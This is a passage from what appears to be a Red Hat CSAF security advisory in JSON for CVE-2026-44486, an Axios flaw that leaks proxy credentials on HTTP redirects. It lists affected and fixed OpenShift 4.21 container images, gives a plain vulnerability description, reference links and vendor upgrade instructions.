"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487947"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client, specifically in its Node.js HTTP adapter. When Axios is configured to use an authenticated proxy and follows a redirect, it may inadvertently send the Proxy-Authorization header, containing proxy credentials, to the redirect target. This can lead to the disclosure of sensitive proxy credentials to an unintended remote server.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Information disclosure of proxy credentials via HTTP redirects",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important information disclosure flaw in the Axios Node.js HTTP adapter. Red Hat products utilizing Axios in a Node.js environment with an authenticated proxy and automatic redirects enabled are susceptible. The vulnerability arises when a request, initially sent through an authenticated proxy, is redirected to a target that no longer uses the proxy, potentially leaking `Proxy-Authorization` headers containing sensitive credentials to an untrusted remote server. This risk is heightened in deployments where applications interact with untrusted HTTP origins.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64"
],
"known_not_affected": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44486"
},
{
"category": "external",
"summary": "RHBZ#2487947",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487947"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44486",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44486"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44486",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44486"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc",
"url": "https://github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc"
}
],
"release_date": "2026-06-11T15:39:07.714000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-23T08:24:00+00:00",
"details": "For OpenShift Container Platform 4.21 see the following documentation, which will be updated shortly for this release, for important instructions on how to upgrade your cluster and fully apply this asynchronous errata update:\n\nhttps://docs.redhat.com/en/documentation/openshift_container_platform/4.21/html/release_notes/\n\nYou may download the oc tool and use it to inspect release image metadata for x86_64, s390x, ppc64le, and aarch64 architectures. The image digests may be found at https://quay.io/repository/openshift-release-dev/ocp-release?tab=tags.\n\nThe sha values for the release are as follows:\n\n (For x86_64 architecture)\n The image digest is sha256:7224f77afb20aedaf82bfc13ca11699689bd5b06795d6d1740dbd4c265150c44\n\n (For s390x architecture)\n The image digest is sha256:73811451efed403727e561f1ffadc1936c71bbefbae526fcea86a88fe23473f2\n\n (For ppc64le architecture)\n The image digest is sha256:05cb0b4804507c0b5e7923b7c6bcf293bd4e2d0f476c8ec6d13b179eb3157b42\n\n (For aarch64 architecture)\n The image digest is sha256:fd193bcd1042c3f17c33e7668d7b9866b915ac07075e6c2e35b0fe396bfd9a51\n\nAll OpenShift Container Platform 4.21 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.21/html-single/updating_clusters/index#updating-cluster-cli.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
